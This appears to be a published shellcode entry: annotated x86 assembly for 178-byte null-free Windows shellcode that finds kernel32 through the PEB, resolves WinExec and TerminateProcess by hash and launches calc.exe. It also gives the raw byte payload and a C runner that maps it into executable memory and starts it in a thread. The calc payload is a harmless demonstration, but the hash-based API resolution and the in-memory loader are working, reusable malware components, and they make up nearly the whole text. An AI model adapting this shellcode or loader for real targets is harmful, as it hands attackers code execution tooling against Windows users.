178 bytes small Windows/x86 shellcode that pops calc.exe. The shellcode uses the PEB method to locate the baseAddress of the required module and the Export Directory Table to locate symbols. It also uses a hash function to dynamically gather the required symbols without worry about the length. Finally, the shellcode pops the calc.exe using WinExec and exits gracefully using TerminateProcess.
70e3a483b4145481e8f112c1f54c7b2b; Windows/x86 - WinExec PopCalc PEB & Export Directory Table NullFree Dynamic Shellcode (178 bytes)
; Description:
; This is a shellcode that pop a calc.exe. The shellcode iuses
; the PEB method to locate the baseAddress of the required module and the Export Directory Table
; to locate symbols. Also the shellcode uses a hash function to gather dynamically the required
; symbols without worry about the length. Finally the shellcode pop the calc.exe using WinExec
; and exits gracefully using TerminateProcess.
; Author: h4pp1n3ss
; Date: Wed 09/22/2021
; Tested on: Microsoft Windows [Version 10.0.19042.1237]
start:
mov ebp, esp ; prologue
add esp, 0xfffff9f0 ; Add space int ESP to avoid clobbering
find_kernel32:
xor ecx, ecx ; ECX = 0
mov esi,fs:[ecx+0x30] ; ESI = &(PEB) ([FS:0x30])
mov esi,[esi+0x0C] ; ESI = PEB->Ldr
mov esi,[esi+0x1C] ; ESI = PEB->Ldr.InInitOrder
next_module:
mov ebx, [esi+0x08] ; EBX = InInitOrder[X].base_address
mov edi, [esi+0x20] ; EDI = InInitOrder[X].module_name
mov esi, [esi] ; ESI = InInitOrder[X].flink (next)
cmp [edi+12*2], cx ; (unicode) modulename[12] == 0x00 ?
jne next_module ; No: try next module
find_function_shorten:
jmp find_function_shorten_bnc ; Short jump
find_function_ret:
pop esi ; POP the return address from the stack
mov [ebp+0x04], esi ; Save find_function address for later usage
jmp resolve_symbols_kernel32 ;
find_function_shorten_bnc:
call find_function_ret ; Relative CALL with negative offset
find_function:
pushad ; Save all registers
mov eax, [ebx+0x3c] ; Offset to PE Signature
mov edi, [ebx+eax+0x78] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi+0x18] ; NumberOfNames
mov eax, [edi+0x20] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp-4], eax ; Save AddressOfNames VMA for later
find_function_loop:
jecxz find_function_finished ; Jump to the end if ECX is 0
dec ecx ; Decrement our names counter
mov eax, [ebp-4] ; Restore AddressOfNames VMA
mov esi, [eax+ecx*4] ; Get the RVA of the symbol name
add esi, ebx ; Set ESI to the VMA of the current symbol name
compute_hash:
xor eax, eax ; NULL EAX
cdq ; NULL EDX
cld ; Clear direction
compute_hash_again:
lodsb ; Load the next byte from esi into al
test al, al ; Check for NULL terminator
jz compute_hash_finished ; If the ZF is set, we've hit the NULL term
ror edx, 0x0d ; Rotate edx 13 bits to the right
add edx, eax ; Add the new byte to the accumulator
jmp compute_hash_again ; Next iteration
compute_hash_finished:
find_function_compare:
cmp edx, [esp+0x24] ; Compare the computed hash with the requested hash
jnz find_function_loop ; If it doesn't match go back to find_function_loop
mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx+2*ecx] ; Extrapolate the function's ordinal
mov edx, [edi+0x1c] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx+4*ecx] ; Get the function RVA
add eax, ebx ; Get the function VMA
mov [esp+0x1c], eax ; Overwrite stack version of eax from pushad
find_function_finished:
popad ; Restore registers
ret ;
resolve_symbols_kernel32:
push 0xe8afe98 ; WinExec hash
call dword ptr [ebp+0x04] ; Call find_function
mov [ebp+0x10], eax ; Save WinExec address for later usage
push 0x78b5b983 ; TerminateProcess hash
call dword ptr [ebp+0x04] ; Call find_function
mov [ebp+0x14], eax ; Save TerminateProcess address for later usage
create_calc_string:
xor eax, eax ; EAX = null
push eax ; Push null-terminated string
push dword 0x6578652e ;
push dword 0x636c6163 ;
push esp ; ESP = &(lpCmdLine)
pop ebx ; EBX save pointer to string
; UINT WinExec(
; LPCSTR lpCmdLine, -> EBX
; UINT uCmdShow -> EAX
; );
call_winexec:
xor eax, eax ; EAX = null
push eax ; uCmdShow
push ebx ; lpCmdLine
call dword ptr [ebp+0x10] ; Call WinExec
; BOOL TerminateProcess(
; HANDLE hProcess, -> 0xffffffff
; UINT uExitCode -> EAX
; );
terminate_process:
xor eax, eax ; EAX = null
push eax ; uExitCode
push 0xffffffff ; hProcess
call dword ptr [ebp+0x14] ; Call TerminateProcess
[!]===================================== POC ========================================= [!]
/*
Shellcode runner author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Our WinExec PopCalc shellcode
unsigned char payload[] =
"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e"
"\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43"
"\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b"
"\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75"
"\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61"
"\xc3\x68\x98\xfe\x8a\x0e\xff\x55\x04\x89\x45\x10\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x14\x31\xc0"
"\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\x5b\x31\xc0\x50\x53\xff\x55\x10\x31\xc0\x50\x6a\xff"
"\xff\x55\x14";
unsigned int payload_len = 178;
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Allocate a memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy payload to new buffer
RtlMoveMemory(exec_mem, payload, payload_len);
// Make new buffer as executable
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("\nHit me!\n");
printf("Shellcode Length: %d\n", strlen(payload));
getchar();
// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}